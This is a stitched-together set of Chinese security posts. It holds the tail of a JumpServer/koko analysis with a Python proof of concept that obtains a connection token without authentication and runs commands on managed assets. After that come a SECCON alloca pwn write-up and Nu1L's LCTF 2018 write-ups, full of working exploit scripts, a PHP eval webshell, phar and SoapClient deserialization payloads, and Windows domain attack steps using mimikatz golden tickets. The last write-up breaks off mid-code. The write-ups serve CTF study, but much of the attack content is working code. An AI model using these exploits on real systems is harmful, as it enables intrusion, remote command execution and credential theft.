logger.Errorf("Token is invalid: %s", tokenId)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
currentUser := service.GetUserDetail(tokenUser.UserID)
if currentUser == nil {
logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
targetType := TargetTypeAsset
targetId := strings.ToLower(tokenUser.AssetID)
systemUserId := tokenUser.SystemUserID
s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}
跟踪一下GetTokenAsset
func GetTokenAsset(token string) (tokenUser model.TokenUser) {
Url := fmt.Sprintf(TokenAssetURL, token)
_, err := authClient.Get(Url, &tokenUser)
if err != nil {
logger.Error("Get Token Asset info failed: ", err)
}
return
}
发现也没有做任何的身份认证。尝试连接一下
发现是可以连接。参数构造的话。返回到koko 中。看看登陆到执行一个whoami 看看websocket 怎么发包的
首先是ID +data 进行登陆。
然后是发送命令
尝试在客户端发送试试
发现有点慢。改成python 连接一下。
改一下输出格式
POC 如下：
import asyncio
import websockets
import requests
import json
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
#print(f"{recv_text}")
#recv_text=json.loads(recv_text)
# print(recv_text['data'])
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
#recv_text=json.loads(recv_text)
# print(f"{recv_text['data']}")
print("###############")
print("exec cmd: %s"%cmd)
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
recv_text=json.loads(recv_text)
print(recv_text['data'])
print('#######finish')
url = "/api/v1/authentication/connection-token/?user-only=None"
host="http://192.168.1.73:8080"
cmd="ifconfig"
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
参考:
<https://github.com/jumpserver/jumpserver>
<https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw> | 社区文章 |
### 前言
本文目的是以一道比较简单的 `ctf` 的练手，为后面的分析 `RouterOs` 的 漏洞和写 `exploit` 打基础。
`Seccon CTF quals 2016` 的一道题。
题目，idb 文件：
<https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca>
### 正文
首先看看 `main` 函数的代码。
逻辑还是比较简单的获取输入后，简单的加了 `30` 就给 `alloca` 去分配空间，然后进入 `message` 函数。
`alloca` 函数是 从 栈上分配内存， 它分配内存是通过 `sub esp , *` 来实现的，我们可以转到汇编代码看看。
可以看到调用 `alloca` 实际就是通过 `sub esp, eax` 来分配栈内存。
我们输入的 `num` 是 `int` 类型的
如果我们输入 `num` 为 负数， `sub esp` 就相当于 `add esp` 我们可以把栈指针往栈底移动。
继续往下看
接下来会调用 `message` 函数， 可以看到传给他的参数为 `esp + 23` 和 `num` ， 进入 `message` 函数 ，看看他的逻辑。
首先读取 `n` 个字符 到 `buf` ， 这两个变量就是我们传入的参数。
然后读入 `0x40` 个字符到 `message` 函数自己定义的局部变量中。
一切都很正常，没有溢出，没有格式化字符串漏洞。
程序的漏洞在于传入的 `buf` 是通过 `alloca` 分配的内存，我们可以通过输入 负数 使得 `alloca`的参数为负， 这样我们就可以把
`esp` 往栈底移动，栈底有 **返回地址** , 然后通过 `message` 中读取数据，覆盖 `eip` 然后进行 `rop` 即可。
要触发漏洞我们需要输入负数，所以在
会直接返回，不会获取输入，因为它里面调用的是 `fgets`来获取输入。`fgets`会有检查。
所以我们只能往 `message` 函数内的缓冲区 `t_buf`写数据，不过这个缓冲区也是在栈上，同样与 `esp` 相关，所以我们把`esp`
往栈底移时，它也是会跟着下移，通过它也可以写 `返回地址` 的值。
我们可以输入 `-140`(这个值可以通过 先输入一个 比较小的比如 `-32`, 然后计算最后得到的数据的地址距离返回地址位置的距离，来继续调整)
在 `0x0804860E` 设个断点
`sub` 之后
可以看到 `esp` 已经增大。
然后加上一定的 `padding` (可以使用 `pwntools` 的 `cyclic` 计算) ，就能修改 返回地址了。
之后就是一般的 `rop`
* * *
使用 `printf` 打印 `got` 表中的 `printf` 的值，泄露 `libc` 的地址。然后回到程序的开始，再次触发漏洞， 调用
`system("sh")`
* * *
### 总结
`alloca` 的细节要注意， 注意输入的数据是有符号的还是无符号的。对于后面计算偏移，可以先动态调试计算一个粗略的值，然后使用 `cyclic`
确定精确的偏移。
**exp**
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''')
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf'])
r.sendline(payload)
r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']
log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload)
r.interactive()
参考：
<https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg> | 社区文章 |
# 2018 LCTF
> By Nu1L
[TOC]
比赛网址：<https://lctf.pwnhub.cn/index>
比赛时间：2018/11/17 9:00-2018/11.18 21:00
Team Page：<http://nu1l-ctf.com>
* * *
## PWN
### easy_heap
read_n函数存在off by one null
from pwn import *
def add(size,data):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(data)
def dele(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(index))
#p=process('./easy_heap')#,env={'LD_PRELOAD':'./libc64.so'})
p=remote('118.25.150.134', 6666)
libc = ELF('./libc64.so')
for i in range(10):
add(0xf0,'aaa\n')
dele(1)
for i in range(3,8):
dele(i)
dele(9)
dele(8)
dele(2)
dele(0)
for i in range(7):
add(0xf0,'aaa\n')
add(0,'')
add(0xf8,'\n')
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(6)
dele(5)
for i in range(7):
add(16,'/bin/bash\n')
p.recvuntil('>')
p.sendline('3')
p.recvuntil("index \n> ")
p.sendline('8')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x00007f97e7321ca0-0x7f97e6f36000)
info(hex(libc_base))
free_hook = libc_base+libc.symbols['__free_hook']
#sys = libc_base + libc.symbols['system']
sys = libc_base +0x4f322
info(hex(sys))
info(hex(free_hook))
add(0,'')
dele(5)
dele(8)
dele(9)
add(16,p64(free_hook)+'\n')
add(16,'/bin/bash\x00')
add(16,p64(sys)+'\n')
dele(0)
p.interactive()
### pwn4fun
概率性exp
能不能出flag看脸
from pwn import *
context.log_level = 'debug'
def sigin(p, username):
p.recvuntil('sign (I)n or sign (U)p?')
p.sendline('I')
p.recvuntil('input your name')
p.send(username)
def choose(p, c):
p.recvuntil('4. do nothing')
p.sendline(str(c))
def pwn(p):
count = 0
p.recvuntil('press enter to start game')
p.send('\n')
#gdb.attach(p)
sigin(p, 'admin'.ljust(9, '\x00'))
choose(p, 1)
while True:
p.recvuntil('----turn ')
turn = int(p.recvuntil('-', drop=True))
log.info('turn: {}'.format(turn))
p.recvuntil('this is your e_cards\n')
card_str = p.recvuntil('\n')
guard_num = card_str.count('Guard')
peach_num = card_str.count('Peach')
attack_num = card_str.count('Attack')
card_num = guard_num + peach_num + attack_num
my_card = card_str.split(' ')
try:
first = my_card[1]
except:
first = ''
log.info('guard:{} peach:{} attack:{}'.format(guard_num, peach_num, attack_num))
log.info('count:{}'.format(count))
p.recvuntil('your health is ')
health = int(p.recvuntil('\n', drop=True))
log.info('health:{}'.format(health))
p.recvuntil('enemy e_cards: ')
enemy_card = int(p.recvuntil(' ', drop=True))
p.recvuntil('enemy health: ')
enemy_health = int(p.recvuntil('\n', drop=True))
log.info('enemy_card:{} enemy_health:{}'.format(enemy_card, enemy_health))
# always attack
p.recvuntil('3. Pass\n')
if attack_num != 0 and enemy_health > 0 and not (first == 'Attack' and count == 0):
p.sendline('1')
p.recvuntil(': Attack!\n')
p.recvuntil('COM: ')
p.recvuntil('\n')
card_num -= 1
elif peach_num != 0 and health != 7 and count != 6:
p.sendline('2')
p.recvuntil(': eat a peach and +1 health\n')
card_num -= 1
health += 1
else:
p.sendline('3')
if card_num > health:
p.recvuntil('put the e_card number you want to throw\n')
p.sendline(str(card_num))
card_num -= 1
if card_num - health:
p.recvuntil('put the e_card number you want to throw\n')
if first == 'Attack' and card_num != 0 and count == 0:
p.sendline('-5')
count += 1
elif first == 'Guard' and card_num != 0 and count == 1:
p.sendline('-5')
count += 1
elif count > 1 and count < 6:
p.sendline('-5')
count += 1
else:
p.sendline(str(card_num))
#data = p.recvuntil('\n')
# if data == "you don't have a attack e_card!\n":
# p.recvuntil('put the e_card number you want to throw\n')
# p.sendline('1')
p.recvuntil('------your turn is over-------\n')
p.recvuntil("it's my turn, draw!\n")
data = p.recv(1)
if data == '-':
continue
data = p.recvuntil('\n')
if 'eat' in data:
data = p.recv(1)
if data == '-':
continue
p.recvuntil('\n')
data = p.recv(1)
if data != 'd':
p.recvuntil(': -1 health\n')
if p.recv(1) == 'y':
return False
p.interactive()
continue
p.recvuntil('guard?[0/1]\n')
if health <= 4 and count != 6:
p.sendline('1')
else:
p.sendline('0')
p.recvuntil(': -1 health\n')
data = p.recv(1)
if data != '-':
break
p.recvuntil('one more?(0/1)')
p.sendline('1')
sigin(p, 'admin'.ljust(9, '\x00'))
p.interactive()
if __name__ == '__main__':
#p = remote('212.64.75.161', 2333)
while True:
p = remote('212.64.75.161', 2333)
#p = process('sgs')
#gdb.attach(p)
if pwn(p):
break
p.close()
#gdb.attach(p)
p.interactive()
弃牌的时候第二次弃牌没有检查负数
### echos
可以盖stdin stdout stderr指针
长度超过可写区时 read 返回-1 直到指针向前移到可以写入这么长的内容为止 可以改掉stdin stdout stderr指针
from pwn import *
p = process('./echos', env = {'LD_PRELOAD': './libc64.so'})
#p = remote('172.81.214.122', 6666)
p.sendline(str(0xc40).ljust(8, '\x00') + p64(0x4013c3) + p64(0x403390) + p64(0x401030) + p64(0x4013c1) + p64(0x401030) + p64(0x444444) + p64(0x401307))
p.recvuntil('size is 3136')
payload = (p64(0x4013bd) + p64(0x4013bc)).ljust(0xc3f, 'A')
#raw_input()
p.send(payload)
p.sendline()
#p.interactive()
p.recvuntil('enter the size:\n')
puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))
libc_addr = puts_addr - 0x6f690
print hex(libc_addr)
scanf = libc_addr + 0x6a7e0
system = libc_addr + 0x45390
one = libc_addr + 0x4526a
p.send((p64(system) + p64(one)).ljust(0xc40, 'A'))
p.interactive()
交过去的writeup是这个 orz
打的relro，不需要leak
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def pwn(p):
#gdb.attach(p)
p.recvuntil('enter the size:')
payload = str(0xc40)
payload = payload.ljust(8, '\x00')
# 0x00000000004013c3 : pop rdi ; ret
payload += flat([0x00000000004013c3, 0x404000 - 0x100])
payload += p64(0x40103B)
payload += p64(0x25b) # idx
payload += p64(0xdeadbeffdeadbeff) # retaddr
p.sendline(payload)
p.recvuntil('size is ')
p.recvuntil('\n')
payload = p64(0xdeadbeffdeadbeff) # atoi got
payload += p64(0x4013BC) # scanf got
payload = payload.ljust(0xb40, 'b')
payload += '/bin/sh\x00'
payload += '\x00'*8
payload += p64(0x4033C0) + p32(0x7) + p32(0x282) + p64(0)
payload += '\x00'*8
payload += p32(15024) + p32(0x12) + p64(0) + p64(0)
payload += 'system\x00'
payload = payload.ljust(0xc40, 'a')
#payload += '\n'
#payload += 'a'*0x5000
p.send(payload)
sleep(1)
p.sendline('')
p.interactive()
if __name__ == '__main__':
p = process('./echos')
#p = remote('172.81.214.122', 6666)
pwn(p)
### just_pwn
前面有个莫名其妙的块加密算法，但是不管怎么加密用`time(0)`做随机数种子都是硬伤。后面有个栈溢出，没仔细看，爆就完事了。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import ctypes, copy, time
libc = ctypes.CDLL("libc.so.6")
c32 = lambda x: ctypes.c_uint32(x).value
c8 = lambda x: ctypes.c_uint8(x).value
h2n = lambda x: map(ord, x.decode('hex'))
n2h = lambda x: ''.join(map(chr, x)).encode('hex')
#p = process("./just_pwn")
p = remote("118.25.148.66", 2333)
libc.srand(libc.time(0))
class NumbnutsBlockCipher(object):
def __init__(self):
self.add_key = []
self.sr1 = []
self.sr2 = []
self.xor_key = []
for i in xrange(16):
self.add_key.append(c8(libc.rand()))
self.sr1.append(c8(libc.rand()) & 0xf)
self.sr2.append(c8(libc.rand()) & 0xf)
self.xor_key.append(c8(libc.rand()))
return
def pad(self, data):
if len(data) % 16 == 0:
return data + [0x10] * 0x10
c = len(data) % 16
return data + [16 - c] * (16 - c)
def unpad(self, data):
return data[:-data[-1]]
def decrypt_round(self, out):
assert len(out) == 16
for i in xrange(16):
out[self.sr1[i]] ^= self.xor_key[i]
out[self.sr2[i]] ^= self.xor_key[i]
for i in xrange(16):
out[i] = c8(out[i] - self.add_key[i])
return out
def encrypt_round(self, out):
assert len(out) == 16
for i in xrange(16):
out[i] = c8(out[i] + self.add_key[i])
for i in xrange(16):
out[self.sr1[i]] ^= self.xor_key[i]
out[self.sr2[i]] ^= self.xor_key[i]
return out
def hex2num(self, data):
return map(ord, data.decode('hex'))
def encrypt(self, data, iv):
data = self.pad(data)
bn = 0
result = []
while bn * 16 < len(data):
block = data[bn * 16: bn * 16 + 16]
for i in xrange(16):
if bn == 0:
block[i] ^= iv[i]
else:
block[i] ^= result[(bn - 1) * 16 + i]
block = self.encrypt_round(block)
result += block
bn += 1
return result
def decrypt(self, data, iv):
result = []
bn = 0
while bn * 16 < len(data):
block = self.decrypt_round(data[bn * 16: bn * 16 + 16])
for i in xrange(16):
if bn == 0:
block[i] ^= iv[i]
else:
block[i] ^= data[(bn - 1) * 16 + i]
result += block
bn += 1
result = self.unpad(result)
return result
iv = map(ord, '12345678abcdefgh')
cipher = NumbnutsBlockCipher()
assert cipher.decrypt(cipher.encrypt([1,2,3,4], iv), iv) == [1,2,3,4]
p.recvuntil('Exit\n')
p.sendline('1')
p.recvuntil('CipherText=')
ct = p.recvuntil(';', drop=True)
pt = ''.join(map(chr, cipher.decrypt(h2n(ct), iv)))
print pt
if not 'user' in pt:
raise Exception("Invalid keys")
crafted = n2h(cipher.encrypt(map(ord, 'guest_account:9999;guestname:user'), iv))
assert len(crafted) == 96
p.recvuntil('Exit\n')
p.sendline('2')
p.recvuntil('please:\n')
payload = 'iv=31323334353637386162636465666768;CipherLen=0096;CipherText=' + crafted.upper() + ';'
p.sendline(payload)
#context.log_level = 'DEBUG'
#gdb.attach(p)
p.recvuntil('----\n')
p.recvuntil('----\n')
p.sendline('3')
for i in xrange(10):
p.recvuntil('confirm\n')
p.sendline('n')
p.recvuntil('confirm\n')
p.sendline('y')
p.recvuntil('software:\n')
p.send('a'*9)
p.recvuntil('a'*9)
canary = '\x00' + p.recvn(7)
log.info("Canary = " + canary.encode('hex'))
payload = 200 * 'A' + canary + 'A' * 8 + p16(0x122c)
p.recvuntil('----\n')
p.recvuntil('----\n')
p.sendline('3')
p.recvuntil('confirm\n')
p.sendline('y')
p.recvuntil('software:\n')
p.send(payload)
time.sleep(0.5)
p.sendline('echo 123;')
p.recvuntil('123\n')
p.interactive()
## WEB
### Travel
<http://118.25.150.86/source>
<https://cloud.tencent.com/document/product/213/4934>
<http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs>
52:54:00:48:c8:73（hex）->90520735500403(int)
因为`nginx`禁用了`PUT`方法，所以用`X-HTTP-Method-Override:PUT`绕过
然后向`/home/lctf/.ssh/authorized_keys` 写入自己的公钥
### T4lk 1s ch34p,sh0w m3 the sh31l
<http://212.64.7.171/LCTF.php>
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
function check_session(){
//cookie取数据并进行签名校验
//return 数据中的路径，既$SANDBOX
}
...
$mode = $_GET["m"];
if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{
highlight_file(__FILE__);
}
#### 1\. 上传要被include的webshell
GIF89a
<?php
eval($_GET[1]);
?>
#### 2\. 用另一个remoteip对应的浏览器上传phar文件
<?php
class K0rz3n_secret_flag {
protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif';
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
$a= new K0rz3n_secret_flag;
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', 'avatar.gif');
#### 3\. 利用wrapper phar:// 触发反序列化=>RCE
### L playground2
<http://212.64.7.239>
通过os.path.join特性, 实现读取/var/www/project/playground目录/文件
>>> os.path.join('/etc', '/passwd')
'/passwd'
下载pyc反编译
http://212.64.7.239/sandbox?url=file://sandbox//var/www/project/playground/__pycache__&token=LRXfAXOKKIiR6y0hkqZ9VmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mENGxPUQ4OLrtPOh7vuXCXBqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONiO1VGFtgwdmpgwMvUlZPgzj5vcgGRSNFj
在main.py发现username为admin即可get flag
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
在 session.py 文件里有 session_encode 的实现, 整个加密简化一下就是
`session_encode(content) => base32(content).[MDA(char) for char in content]`
由于签名部分是对每个字母分别 MDA 加密(题目中魔改MDx实现的一种MAC算法), 而且seed固定, 所以每个字母在加密之后得出的加密串不会改变.
另外在没有设置user的cookie时, `main.py`中会取随机5个字符作为username, session_encode后发送给客户端.
那么就重复随机生成username, 找每个字母MDA加密后的结果, 拼接即可.
b962d95efd252479 => a
84407154c863ef36 => d
e80346042c47531a => m
6e1beb0db216d969 => i
b020cd1cf4031b57 => n
MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57
### EZ OAuth
<https://lctf.1slb.net/>
#### 简单说明
利用`OAUTH`认证登录的系统，所采用的第三方为`TYPCN`
<https://accounts.typcn.com/>
题目应用从`TYPCN`获取用户的邮箱信息，匹配到是pwnhub.cn这个域才可以使用正常功能。
#### 绕过邮箱检测机制
邮箱检测机制是从头开始匹配，匹配到
pwnhub.cn为止，所以可以构造三级域名`[email protected]`邮箱，绕过检测机制，为了方便，直接采用了腾讯的企业邮，注册的时候域名部分填`pwnhub.cn.mydomain`
#### user的功能触发ssrf -> 中间人劫持攻击
用https服务器接收一下
在burp上重放他这个报文，得到返回json数据是
猜测服务端是接收到返回的json，验证签名`sign(jsondata.result) == jsondata.sign`
然后再根据`result`返回给用户相应的内容。
于是想到攻击思路是，我在远程服务器上构造返回一个这样的`json`数据（相当于中间人攻击），根据猜测的代码写法，是存在弱类型判断的，也就是我返回给他`sign:true`，那么签名判断就被绕过了。
测试了一下，确实如此
根据hint: 不同的功能可能利用类似的接口，在admin页面就可以用同样的办法进行中间人劫持，返回`true`，从而认证成admin。
### 年久失修的系统
<http://212.64.13.122>
`id`参数可以注入，但限制的很死
解题过程中猜测修改密码或签名的时候的流程是
先用`select`通过id选出该用户检测是否为当前session中的用户，
再用`update`通过id更新用户信息。
我们想到的做法是寻找一个变化的mysql系统变量，例如`@@timestamp`、`@@pseudo_thread_id`，然后让`id=myid-@@timestamp
mod 2*(myid-adminid)`，这样`select`和`update`所计算出的实际id不同，`select`使用的是我的id，可以通过用户检测，`update`使用的是admin的id，就可以重置admin的密码。
但是尝试了很长的时间，发现很难竞争成功.
按照出题人给的poc
id=100001+@a：=@a：=@a is not null
我构造出了
id = myid-(myid-adminid)*@t:=@t:=@t is not null
是可以的，因为他在同一个连接中，第一次被调用就会+1,再乘上myid和adminid的差值，就可以在第二次的时候选中admin对应的记录。
然后登录admin后台后，存在一个后台注入
直接py:
### God of domain pentest
题目描述：
windows域环境权限不好配，还请各位师傅高抬贵手，不要搅屎
c段只用到了0-20，不需要扫21-255，端口也只开放了常用端口。
web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码
188.131.161.90
nmap很容易得到一个web和开了socks5的1080 1090端口.
内网扫了下发现0.8上80端口开着并跑着phpmyadmin于是`general_log`getshell.
然后还存在永恒之蓝2333 于是愉快的使用mimikatz得到了本地administrator密码和域账号密码.
然后通过域内信息收集得到了`SUB-DC.web.lctf.com`尝试了一波ms14068.(`impacket套件中的goldenPac.py`)
拿下sub-dc之后发现存在父域.
然后通过mimikatz伪造内部信任AD林中的信任票据，这里是因为Gold Ticket中默认包含了Enterprise
Admin组的关系，而Enterprise
Admin同时又是AD域中Administrator组的成员。（涉及sidHistory）所以攻击者可以伪造黄金票据来获取到域中的Enterprise
Admin权限，实现跨域.
kerberos::golden /domain:web.lctf.com /sid:子域sid /sids:企业管理组sid /krbtgt:nthash /user:任意填写
misc:cmd弹 cmd然后愉快的读flag.(父域：`dc.lctf.com`)
最后清除票据.
### sh0w m3 the sh31l 4ga1n
<http://212.64.74.153/LCTF.php>
比起第一道题的正则多了一个`data`
于是phar://就不能读取data目录下的内容了
做这道题的时候想到了两种非预期
#### 1\. 签名不变
可以看到，出题人获取密钥用的语句是
但通过第一题getshell后发现这个东西并不是可执行程序或bash文件，只是一堆字符串，那么这个东西返回的永远是null,
从而签名是不会变的，于是就好玩了。。我把cookie里的内容(`$data->avatar`)直接改成`/tmp/`，那么我调用upload的时候就会向`/tmp/`写文件，再调用move，将他改个名，就可以反复向`/tmp/`写文件了
于是和第一题一样，两个文件，一个webshell，一个phar文件，直接getshell。
#### 2\. 利用tmpfile getshell
[http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd](http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd)
[解法](https://www.jianshu.com/p/dfd049924258)
### bestphp's revenge
<http://172.81.210.82>
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
#### 利用思路
session反序列化->soap(ssrf+crlf)->call_user_func激活soap类
[有关session触发反序列化的资料](https://www.jb51.net/article/116246.htm)
[有关soapclient扩展反序列化的资料](https://xz.aliyun.com/t/2148)
#### 构造soap序列化数据，ssrf+crlf带着可控的phpsessid访问flag.php
这个过程完全和[有关soapclient扩展反序列化的资料](https://xz.aliyun.com/t/2148)一致。
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A29%3A%22http%3A%2F%2F172.81.210.82%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A201%3A%22testaa%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dtestaa123%0D%0AContent-Length%3A+65%0D%0A%0D%0Ausername%3Dwwwwc%26password%3Dwww%26code%3Dcf44f3147ab331af7d66943d888c86f9%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
#### 利用session_start()的参数可控将序列化数据注入到sessionfile中
根据[有关session触发反序列化的资料](https://www.jb51.net/article/116246.htm)
...
call_user_func($_GET[f],$_POST);
...
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
...
从而构造出
$_GET = array('f'=>'session_start','name'=>'|<serialize data>')
$_POST = array('serialize_handler'=>'php_serialize')
但是因为新版的php修复了soap反序列化的时候会发送网络请求的bug，所以还需要正向调用激活。
#### 利用第二个call_user_func激活soap类
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
...
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
可以看到经过上一步，`$_SESSION`里的数据是soap对象，再经过reset()弹出这个对象成为了`$a[0]`，那么我可以通过变量覆盖`$b`为`call_user_func`，调用`$a`中的这个对象，从而触发soap的网络请求。
$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');
经过这一步，soap请求发了出去，也就我们构造soap序列化的时候注入的可控phpsessid相应的session里被加入了flag
于是带着这个phpsessid请求index.php，中间有一行代码var_dump($_SESSION);从而拿到flag
## Re
### 拿去签到吧朋友
好像是个二叉搜索树，不考虑平衡，按输入的顺序建树
node: {character, seq, left, right}
先序遍历了一下(字典序先序序列)
好像有个DES，然后矩阵乘法，check
太硬核了。。。
DES密钥是fa1conn\x00
先解矩阵方程
A*B=C 6*6的矩阵
B = [23,
65,
24,
78,
43,
56,
59,
67,
21,
43,
45,
76,
23,
54,
76,
12,
65,
43,
89,
40,
32,
67,
73,
57,
23,
45,
31,
54,
31,
52,
13,
24,
54,
65,
34,
24]
C = [ 43666,
49158,
43029,
51488,
53397,
51921,
28676,
39740,
26785,
41665,
35675,
40629,
32311,
31394,
20373,
41796,
33452,
35840,
17195,
29175,
29485,
28278,
28833,
28468,
46181,
58369,
44855,
56018,
57225,
60666,
25981,
26680,
24526,
38780,
29172,
30110]
>>> a = [119, 175, 221, 238, 92, 171, 203, 163, 98, 99, 92, 93, 147, 24 , 11, 251, 201, 23, 70, 71, 185, 29, 118, 142, 182, 227, 245, 199, 172, 100, 52, 121, 8, 142, 69, 249, 0x73, 0x3c, 0xf5, 0x7c]
>>> des.decrypt(''.join(map(chr ,a)))
'LC-+)=1234@AFETRS{the^VYXZfislrvxyz}\x00\x00\x00\x00'
先序序列求出来了
顺序是[0, 1, 14, 12, 17, 18, 19, 27, 28, 2, 15, 20, 31, 29, 30, 16, 13, 5]
算出来半个Flag
LCTF{this-RevlrSE=
后序遍历了一遍
根据所有数的和SMC，因为用到的字符已知了，直接过掉
SMC出来的代码是一个简单Xor
x = [ 124, 129, 97, 153, 103, 155, 20, 234, 104, 135,
16, 236, 22, 249, 7, 242, 15, 243, 3, 244,
51, 207, 39, 198, 38, 195, 61, 208, 44, 210,
35, 222, 40, 209, 1, 230]
for i in xrange(36):
for j in xrange(0, 8, 2):
x[i] ^= (1 << (j + i % 2))
得到序列
)+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL
顺序是[19, 18, 5, 7, 17, 1, 0, 20, 6, 29, 28, 27, 15, 16, 4, 3, 2, 32]
解到Flag
GG，又是个二血
### easy_vm
VM大概是这样的
while ( 1 )
{
result = (unsigned int)(*(_DWORD *)a1->pc - 134);
switch ( *(_DWORD *)a1->pc )
{
case 0x86:
push_i64(a1);
break;
case 0x87:
push_reg(a1);
break;
case 0x88:
mov_reg_nextinst(a1);
break;
case 0x89:
mov_reg__ptr_(a1);
break;
case 0x8A:
pop_reg(a1);
break;
case 0x8B:
add_reg_reg(a1);
break;
case 0x8C:
reg_reg_sub(&a1->r0);
break;
case 0x8D:
mul_reg_reg(&a1->r0);
break;
case 0x8E:
div_reg_reg(a1);
break;
case 0x8F:
mod_reg_reg(a1);
break;
case 0x90:
xor_reg_reg(a1);
break;
case 0x91:
and_reg_reg(a1);
break;
case 0x92:
mov_r4_reg(a1);
break;
